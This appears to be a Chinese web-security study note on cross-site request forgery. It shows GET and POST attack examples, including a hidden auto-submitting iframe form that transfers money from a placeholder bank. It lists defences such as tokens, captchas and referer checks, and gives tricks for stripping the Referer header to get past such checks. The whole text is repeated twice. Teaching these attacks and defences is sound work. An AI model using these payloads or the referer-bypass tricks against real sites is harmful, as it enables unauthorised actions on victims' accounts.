CSRF



1.get型

  <img src= http://www.mybank.com/Transfer.php?toBankId=11&money=1000>;
2.post型
<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
              iframe = document.frames["steal"];
               iframe.document.Submit("transfer");
      }
    </script>
  </head>
  <body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action=" http://www.myBank.com/Transfer.php ">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>
CSRF攻击是源于WEB的隐式身份验证机制!
WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,
但却无法保证该请求是用户批准发送的!
----------------------------------------防御
1.服务端进行CSRF防御
 增加伪随机数
(1).Cookie Hashing(所有表单都包含同一个伪随机值)
由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,仍不安全
(2).验证码
(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)
(4).检测refer
  可以伪造
(5).Token
 Token要足够随机————只有这样才算不可预测
 Token是一次性的,即每次请求成功后要更新Token————这样可以增加攻击难度,增加预测难度
 Token要注意保密性————敏感操作使用post,防止Token出现在URL中
2.refer为空构造的方法:
 由于浏览器特性,跨协议请求时不带refer(Geckos内核除外),比如https跳到http,
 如果https环境不好搭建的话,ftp其实也是可以的:)
<iframe src="data:text/html,<script src= http://www.baidu.com></script> ;"> //IE不支持
 利用 xxx.src='javascript:"HTML代码的方式"'; 可以去掉refer,IE8要带。
<iframe id="aa" src=""></iframe>
<script>
 document.getElementById("aa").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(你想使用的代码)</scr'+'ipt></body></html>"';
</script>
3.跨域策略与跨站请求伪造
-----------------------------------------
当前防御 CSRF 的几种策略
在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。

1.get型

  <img src= http://www.mybank.com/Transfer.php?toBankId=11&money=1000>;
2.post型
<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
              iframe = document.frames["steal"];
               iframe.document.Submit("transfer");
      }
    </script>
  </head>
  <body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action=" http://www.myBank.com/Transfer.php ">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>
CSRF攻击是源于WEB的隐式身份验证机制!
WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,
但却无法保证该请求是用户批准发送的!
----------------------------------------防御
1.服务端进行CSRF防御
 增加伪随机数
(1).Cookie Hashing(所有表单都包含同一个伪随机值)
由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,仍不安全
(2).验证码
(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)
(4).检测refer
  可以伪造
(5).Token
 Token要足够随机————只有这样才算不可预测
 Token是一次性的,即每次请求成功后要更新Token————这样可以增加攻击难度,增加预测难度
 Token要注意保密性————敏感操作使用post,防止Token出现在URL中
2.refer为空构造的方法:
 由于浏览器特性,跨协议请求时不带refer(Geckos内核除外),比如https跳到http,
 如果https环境不好搭建的话,ftp其实也是可以的:)
<iframe src="data:text/html,<script src= http://www.baidu.com></script> ;"> //IE不支持
 利用 xxx.src='javascript:"HTML代码的方式"'; 可以去掉refer,IE8要带。
<iframe id="aa" src=""></iframe>
<script>
 document.getElementById("aa").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(你想使用的代码)</scr'+'ipt></body></html>"';
</script>
3.跨域策略与跨站请求伪造
-----------------------------------------
当前防御 CSRF 的几种策略
在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。

你可能感兴趣的:(WEB安全,CSRF)